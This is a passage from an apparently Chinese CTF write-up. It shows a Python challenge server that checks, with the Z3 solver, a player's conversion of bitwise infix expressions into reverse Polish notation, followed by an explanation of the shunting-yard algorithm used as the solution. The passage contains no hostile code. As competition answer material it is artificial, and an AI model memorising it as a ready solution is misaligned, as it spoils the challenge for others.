class="z-keyword z-operator"> =</span><span class="z-source"> left</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-storage z-type z-string z-python"> f</span><span class="z-string">&#39;(~</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-source">s_left</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">)&#39;</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> ~</span><span class="z-source">z_left</span></span> <span class="giallo-l"><span class="z-source"> s_l</span><span class="z-punctuation">,</span><span class="z-source"> z_l</span><span class="z-keyword z-operator"> =</span><span class="z-source"> left</span></span> <span class="giallo-l"><span class="z-source"> s_r</span><span class="z-punctuation">,</span><span class="z-source"> z_r</span><span class="z-keyword z-operator"> =</span><span class="z-source"> right</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-storage z-type z-string z-python"> f</span><span class="z-string">&#39;(</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-source">s_l</span><span class="z-constant z-character z-format z-placeholder z-other z-python">} {</span><span class="z-source">op</span><span class="z-constant z-character z-format z-placeholder z-other z-python">} {</span><span class="z-source">s_r</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">)&#39;</span><span class="z-punctuation">, {</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &#39;&amp;&#39;</span><span class="z-punctuation">:</span><span class="z-source"> z_l</span><span class="z-keyword z-operator"> &amp;</span><span class="z-source"> z_r</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &#39;^&#39;</span><span class="z-punctuation">:</span><span class="z-source"> z_l</span><span class="z-keyword z-operator"> ^</span><span class="z-source"> z_r</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &#39;|&#39;</span><span class="z-punctuation">:</span><span class="z-source"> z_l</span><span class="z-keyword z-operator"> |</span><span class="z-source"> z_r</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-punctuation"> }[</span><span class="z-source">op</span><span class="z-punctuation">]</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> random_expr</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">depth</span><span class="z-punctuation">:</span><span class="z-support z-type z-python"> int</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">) -&gt;</span><span class="z-meta z-indexed-name z-python"> tuple</span><span class="z-punctuation">[</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">,</span><span class="z-meta z-item-access z-python"> ArithRef</span><span class="z-punctuation">]:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> depth</span><span class="z-keyword z-operator"> &gt;=</span><span class="z-source"> MAX_DEPTH</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-source"> random</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">random</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 0.1</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> random</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">choice</span><span class="z-punctuation">((</span><span class="z-meta z-function-call z-arguments z-python">rnd_var</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> rnd_const</span><span class="z-punctuation">))()</span></span> <span class="giallo-l"><span class="z-source"> op</span><span class="z-keyword z-operator"> =</span><span class="z-source"> random</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">choice</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">OPS</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> op</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;~&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> combine</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">op</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-python"> random_expr</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">depth</span><span class="z-keyword z-operator"> +</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> combine</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">op</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-python"> random_expr</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">depth</span><span class="z-keyword z-operator"> +</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">),</span><span class="z-meta z-function-call z-python"> random_expr</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">depth</span><span class="z-keyword z-operator"> +</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">TOKEN_RE</span><span class="z-keyword z-operator"> =</span><span class="z-source"> re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">compile</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin">&#39;</span><span class="z-punctuation">[</span><span class="z-string">0-9</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp z-keyword z-operator">+|</span><span class="z-punctuation">[</span><span class="z-string">iIl</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp z-keyword z-operator">+|</span><span class="z-punctuation">[</span><span class="z-string">~&amp;^|</span><span class="z-punctuation">]</span><span class="z-punctuation z-definition z-string z-end">&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> parse_rpn</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">s</span><span class="z-punctuation">:</span><span class="z-support z-type z-python"> str</span><span class="z-punctuation">) -&gt;</span><span class="z-source"> ArithRef</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> tokens</span><span class="z-keyword z-operator"> =</span><span class="z-source"> TOKEN_RE</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">findall</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">s</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python z-keyword z-operator z-logical z-python"> if not</span><span class="z-source"> tokens</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;empty input&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> var_cache</span><span class="z-punctuation">:</span><span class="z-meta z-indexed-name z-python"> dict</span><span class="z-punctuation">[</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">,</span><span class="z-meta z-item-access z-python"> BitVecRef</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> {}</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">:</span><span class="z-meta z-indexed-name z-python"> list</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">BitVecRef</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> t</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> tokens</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> t</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">isdigit</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">BitVecVal</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">int</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">t</span><span class="z-punctuation">),</span><span class="z-meta z-function-call z-arguments z-python"> WIDTH</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">fullmatch</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin">&#39;</span><span class="z-punctuation">[</span><span class="z-string">iIl</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp">+</span><span class="z-punctuation z-definition z-string z-end">&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> t</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> t</span><span class="z-keyword z-operator z-logical z-python"> not in</span><span class="z-source"> var_cache</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-meta z-indexed-name z-python"> var_cache</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">t</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> BitVec</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">t</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> WIDTH</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">var_cache</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">t</span><span class="z-punctuation">])</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> t</span><span class="z-keyword z-operator z-logical z-python"> in</span><span class="z-source"> OPS</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> t</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;~&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">stack</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;stack underflow&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> a</span><span class="z-keyword z-operator"> =</span><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-keyword z-operator">~</span><span class="z-meta z-function-call z-arguments z-python">a</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">stack</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;stack underflow&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> b</span><span class="z-keyword z-operator"> =</span><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> a</span><span class="z-keyword z-operator"> =</span><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">({</span><span class="z-punctuation z-definition z-string z-string">&#39;&amp;&#39;</span><span class="z-punctuation">:</span><span class="z-meta z-function-call z-arguments z-python"> a</span><span class="z-keyword z-operator"> &amp;</span><span class="z-meta z-function-call z-arguments z-python"> b</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;^&#39;</span><span class="z-punctuation">:</span><span class="z-meta z-function-call z-arguments z-python"> a</span><span class="z-keyword z-operator"> ^</span><span class="z-meta z-function-call z-arguments z-python"> b</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;|&#39;</span><span class="z-punctuation">:</span><span class="z-meta z-function-call z-arguments z-python"> a</span><span class="z-keyword z-operator"> |</span><span class="z-meta z-function-call z-arguments z-python"> b</span><span class="z-punctuation">}[</span><span class="z-meta z-function-call z-arguments z-python">t</span><span class="z-punctuation">])</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&#39;bad token </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">t</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">stack</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> !=</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;malformed expression&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-indexed-name z-python"> stack</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> equivalent</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">e1</span><span class="z-punctuation">:</span><span class="z-meta z-function z-parameters"> ArithRef</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> e2</span><span class="z-punctuation">:</span><span class="z-meta z-function z-parameters"> ArithRef</span><span class="z-punctuation">) -&gt;</span><span class="z-meta z-indexed-name z-python"> tuple</span><span class="z-punctuation">[</span><span class="z-support z-type z-python">bool</span><span class="z-punctuation">,</span><span class="z-meta z-item-access z-python"> Solver</span><span class="z-punctuation">]:</span></span> <span class="giallo-l"><span class="z-source"> s</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> Solver</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> s</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">set</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">timeout</span><span class="z-keyword z-operator">=</span><span class="z-constant z-numeric">5000</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> s</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">add</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">simplify</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">e1</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> !=</span><span class="z-meta z-function-call z-python"> simplify</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">e2</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> s</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">check</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> unsat</span><span class="z-punctuation">,</span><span class="z-source"> s</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> _timeout_handler</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">_</span><span class="z-punctuation">:</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> __</span><span class="z-punctuation">) -&gt;</span><span class="z-constant z-language z-python"> None</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> TimeoutError</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> main</span><span class="z-punctuation">() -&gt;</span><span class="z-constant z-language z-python"> None</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> signal</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">signal</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">signal</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">SIGALRM</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> _timeout_handler</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;lets play a game!&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> _</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">50</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> random</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">seed</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> expr_str</span><span class="z-punctuation">,</span><span class="z-source"> expr_z3</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> random_expr</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">expr_str</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> flush</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">True</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> signal</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">alarm</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">5</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> line</span><span class="z-keyword z-operator"> =</span><span class="z-source"> sys</span><span class="z-punctuation">.</span><span class="z-source">stdin</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">readline</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> signal</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">alarm</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-support z-type z-exception z-python"> TimeoutError</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;too slow!&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> rpn_z3</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> parse_rpn</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">line</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-support z-type z-exception z-python"> Exception</span><span class="z-keyword z-control z-flow z-python"> as</span><span class="z-source"> e</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;invalid input:&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> e</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;let me see..&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> is_eq</span><span class="z-punctuation">,</span><span class="z-source"> s</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> equivalent</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">expr_z3</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> rpn_z3</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python z-keyword z-operator z-logical z-python"> if not</span><span class="z-source"> is_eq</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;wrong!&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> with</span><span class="z-source"> contextlib</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">suppress</span><span class="z-punctuation">(</span><span class="z-support z-type z-exception z-python">BaseException</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;counter example:&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> s</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">model</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">FLAG</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">if</span><span class="z-support z-variable z-magic z-python"> __name__</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;__main__&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-meta z-function-call z-python"> main</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span></code></pre> <p>其核心任务是将服务器生成的 <strong>中缀表达式（Infix Expression）</strong> 转换为 <strong>逆波兰表达式（Reverse Polish Notation, RPN）</strong>。服务器使用Z3求解器来验证玩家的转换是否正确，这意味着需要严格遵守逻辑等价性。</p> <hr /> <h3 id="zhong-zhui-biao-da-shi-yu-ni-bo-lan-biao-da-shi">中缀表达式与逆波兰表达式</h3> <ul> <li><strong>中缀表达式</strong>：我们日常使用的数学表达式，如 $A + B$ 或 $(A \land B) \lor C$。运算符位于其操作数之间。</li> <li><strong>逆波兰表达式（RPN）</strong>：又称后缀表达式，如 $A B +$ 或 $A B \land C \lor$。运算符位于其操作数之后。</li> </ul> <p>中缀表达式存在优先级和结合性的问题，需要括号来消除歧义。例如，$A \lor B \land C$ 究竟是 $(A \lor B) \land C$ 还是 $A \lor (B \land C)$？这取决于运算符的优先级。RPN 表达式则天然地消除了这种歧义，因为运算符的顺序严格定义了计算顺序。</p> <p>本题中的表达式使用了位运算符：<code>|</code> (或), <code>^</code> (异或), <code>&amp;</code> (与), <code>~</code> (非)。它们的优先级关系为：<code>~</code> &gt; <code>&amp;</code> &gt; <code>^</code> &gt; <code>|</code>。</p> <hr /> <h3 id="he-xin-suan-fa-diao-du-chang-suan-fa-shunting-yard-algorithm">核心算法：调度场算法 (Shunting-yard Algorithm)</h3> <p>下面 Exploit 的核心是 <code>shunting_yard_fix</code> 函数，它实现了<strong>调度场算法</strong>。这个算法就像一个火车站的调度场：</p> <ul> <li><strong>输入（轨道）</strong>: 中缀表达式的符号流（token）。</li> <li><strong>输出（出库）</strong>: RPN 表达式的符号流。</li> <li><strong>中转站（栈）</strong>: 一个用于临时存放运算符的栈。</li> </ul> <p>调度场算法的数学逻辑严格基于运算符的 <strong>优先级（precedence）</strong> 和 <strong>结合性（associativity）</strong>。</p> <h4 id="suan-fa-liu-cheng">算法流程</h4> <ol> <li> <p><strong>分词（Tokenization）</strong>: 首先，将中缀表达式字符串分解成一个个独立的符号（tokens），包括数字、变量、运算符和括号。</p> <ul> <li>例如，表达式 <code>((A &amp; B) | C)</code> 被分解为 <code>(</code>, <code>(</code>, <code>A</code>, <code>&amp;</code>, <code>B</code>, <code>)</code>, <code>|</code>, <code>C</code>, <code>)</code>。</li> </ul> </li> <li> <p><strong>符号流处理</strong>: 算法逐一处理每个 token，并根据其类型采取不同的行动。</p> <ul> <li> <p><strong>操作数 (Operand)</strong>: 如果 token 是一个操作数（数字或变量），直接将其发送到输出队列（<code>output</code> 列表）。</p> <ul> <li>这遵循 RPN 的基本规则：操作数先于其运算符出现。</li> </ul> </li> <li> <p><strong>左括号 <code>(</code></strong>: 将左括号压入运算符栈（<code>op_stack</code>）。</p> <ul> <li>括号在表达式中起着改变运算顺序的作用。将它压栈，意味着它是一个“屏障”，阻止在它内部的运算被提前执行。</li> </ul> </li> <li> <p><strong>右括号 <code>)</code></strong>: 从运算符栈中不断弹出运算符并发送到输出队列，直到遇到一个左括号为止。然后弹出这个左括号，但不会发送到输出队列。</p> <ul> <li>这保证了括号内的所有运算都在括号外部的运算之前完成。当遇到右括号时，表示一个子表达式已经结束，可以将其所有运算符结算。</li> </ul> </li> <li> <p><strong>运算符 (Operator)</strong>: 这是算法中最复杂的部分，它依赖于<strong>优先级</strong>规则。</p> <ul> <li><strong>优先级比较</strong>: 算法会比较当前运算符和栈顶运算符的优先级。</li> <li><strong>如果栈顶是运算符，且其优先级 ≥ 当前运算符的优先级</strong>，则将栈顶运算符弹出并发送到输出队列。</li> <li>这个过程会一直重复，直到栈为空，或者栈顶是左括号，或者栈顶运算符的优先级低于当前运算符。</li> <li>这个逻辑保证了高优先级的运算符（例如 <code>&amp;</code>）在低优先级的运算符（例如 <code>|</code>）之前被处理。</li> <li>处理完高优先级运算符后，将当前运算符压入栈。</li> </ul> </li> </ul> </li> <li> <p><strong>清栈</strong>: 当所有 token 都处理完毕后，运算符栈中可能还有剩余的运算符。将栈中所有剩余的运算符依次弹出并发送到输出队列。</p> <ul> <li>这确保了所有未被括号限定的运算符（即优先级最低的那些）在最后被结算。</li> </ul> </li> </ol> <h4 id="shi-li-a-b-c-de-zhuan-huan-guo-cheng">示例：<code>((A &amp; B) | C)</code> 的转换过程</h4> <table><thead><tr><th style="text-align: center">Token</th><th style="text-align: center"><code>op_stack</code></th><th style="text-align: center"><code>output</code></th><th style="text-align: left">解释</th></tr></thead><tbody> <tr><td style="text-align: center"><code>(</code></td><td style="text-align: center"><code>[</code></td><td style="text-align: center"><code>[]</code></td><td style="text-align: left">压入左括号</td></tr> <tr><td style="text-align: center"><code>(</code></td><td style="text-align: center"><code>[(]</code></td><td style="text-align: center"><code>[]</code></td><td style="text-align: left">再次压入左括号</td></tr> <tr><td style="text-align: center"><code>A</code></td><td style="text-align: center"><code>[ ( ( ]</code></td><td style="text-align: center"><code>[A]</code></td><td style="text-align: left">操作数，直接输出</td></tr> <tr><td style="text-align: center"><code>&amp;</code></td><td style="text-align: center"><code>[ ( ( &amp; ]</code></td><td style="text-align: center"><code>[A]</code></td><td style="text-align: left">运算符，压栈</td></tr> <tr><td style="text-align: center"><code>B</code></td><td style="text-align: center"><code>[ ( ( &amp; ]</code></td><td style="text-align: center"><code>[A, B]</code></td><td style="text-align: left">操作数，直接输出</td></tr> <tr><td style="text-align: center"><code>)</code></td><td style="text-align: center"><code>[ ( ( ]</code></td><td style="text-align: center"><code>[A, B, &amp;]</code></td><td style="text-align: left">遇到右括号，弹出栈顶直到左括号</td></tr> 